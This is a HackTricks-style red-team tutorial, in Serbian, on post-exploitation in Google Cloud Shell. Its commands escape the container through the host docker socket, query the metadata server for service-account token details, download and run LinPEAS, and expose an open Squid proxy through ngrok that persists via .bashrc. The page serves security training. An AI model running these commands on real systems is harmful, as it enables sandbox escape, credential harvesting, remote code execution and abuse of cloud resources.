GCP - Cloud Shell Post Exploitation

Reading time: 4 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Cloud Shell

Za više informacija o Cloud Shell-u pogledajte:

GCP - Cloud Shell Enum

Container Escape

Imajte na umu da Google Cloud Shell radi unutar kontejnera, možete lako pobjeći na host tako što ćete uraditi:

bash
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh

Ovo Google ne smatra ranjivošću, ali vam pruža širu sliku o tome šta se dešava u toj sredini.

Pored toga, primetite da sa hosta možete pronaći token servisnog naloga:

bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/

Sa sledećim opsegom:

bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"

https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write

Enumerišite metapodatke pomoću LinPEAS:

bash
cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud

Nakon korišćenja https://github.com/carlospolop/bf_my_gcp_permissions sa tokenom Servisnog Naloga nije otkrivena nijedna dozvola...

Koristite ga kao Proxy

Ako želite da koristite svoju google cloud shell instancu kao proxy, potrebno je da pokrenete sledeće komande (ili ih unesete u .bashrc datoteku):

bash
sudo apt install -y squid

Samo da znate, Squid je HTTP proxy server. Kreirajte squid.conf datoteku sa sledećim podešavanjima:

bash
http_port 3128
cache_dir /var/cache/squid 100 16 256
acl all src 0.0.0.0/0
http_access allow all

kopirajte squid.conf datoteku u /etc/squid

bash
sudo cp squid.conf /etc/squid

Konačno pokrenite squid servis:

bash
sudo service squid start

Koristite ngrok da omogućite pristup proxy-ju sa spolja:

bash
./ngrok tcp 3128

Nakon pokretanja, kopirajte tcp:// URL. Ako želite da pokrenete proxy iz pregledača, preporučuje se da uklonite tcp:// deo i port, i da stavite port u polje za port u podešavanjima proxy-a vašeg pregledača (squid je http proxy server).

Za bolju upotrebu prilikom pokretanja, .bashrc datoteka bi trebala imati sledeće linije:

bash
sudo apt install -y squid
sudo cp squid.conf /etc/squid/
sudo service squid start
cd ngrok;./ngrok tcp 3128

Uputstva su preuzeta sa https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key. Proverite tu stranicu za druge lude ideje kako da pokrenete bilo koju vrstu softvera (baze podataka pa čak i Windows) u Cloud Shell.

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks